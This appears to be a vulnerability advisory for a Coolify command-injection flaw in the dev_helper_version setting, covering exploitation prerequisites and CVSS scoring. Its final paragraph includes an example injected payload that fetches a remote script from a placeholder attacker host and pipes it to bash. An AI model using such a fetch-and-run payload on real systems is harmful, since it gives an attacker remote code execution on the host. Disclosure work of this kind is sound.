Coolify CVE-2026-42148

Four simultaneous conditions are required for exploitation: (1) The Coolify instance must be running in development mode, as the dev_helper_version field and buildHelperImage code path are specific to the development environment configuration - standard production deployments do not expose this path. (2) The attacker must hold high-privilege (admin-level) Coolify credentials sufficient to access and modify the Settings interface (PR:H per CVSS). (3) A user interaction step is mandatory: the attacker or an admin must explicitly trigger the helper image build action after the malicious value is set (UI:R per CVSS). (4) The attack context is local (AV:L per CVSS), consistent with operator-level access to the deployment. Factors that limit exploitation beyond raw CVSS include: development mode is not the default for general self-hosted deployments, admin credentials are required rather than any authenticated user role, and the build trigger is a deliberate manual action rather than an automatically-reached code path. Remote unauthenticated exploitation is not possible under any configuration.

The CVSS 3.8 Low score with vector AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L accurately captures the tightly constrained exploitation conditions. All five limiting factors must align simultaneously: local attack context, high complexity (development mode required), high privilege (admin credentials), and explicit user interaction (manual build trigger). EPSS data is not available in the provided intelligence. No CISA KEV listing exists and no public proof-of-concept has been identified, placing exploitation status firmly at theoretical. Despite OS command injection being a severe vulnerability class in isolation, the operational prerequisites - admin access, development-mode deployment, and deliberate trigger action - make real-world exploitation most plausible as an insider threat or post-compromise persistence mechanism rather than opportunistic external attack. The NVD-assigned impact metrics of C:L/I:L/A:L appear conservative given that command injection inherently yields full server compromise; this discrepancy is likely an artifact of NVD methodology weighting the heavily restricted scope. Production Coolify deployments without development mode enabled are not affected by this code path.

An admin-level Coolify user operating in a development environment navigates to the Settings interface and modifies the dev_helper_version field to contain shell metacharacters - for example, appending '; curl http://attacker.example/shell.sh | bash' - then clicks the button to trigger a helper image build. The server-side buildHelperImage method concatenates this value directly into a Docker CLI command string, causing the injected shell payload to execute on the host with the permissions of the Coolify process. No public proof-of-concept code has been identified, but the attack primitive is elementary for any developer familiar with command injection in PHP shell invocations.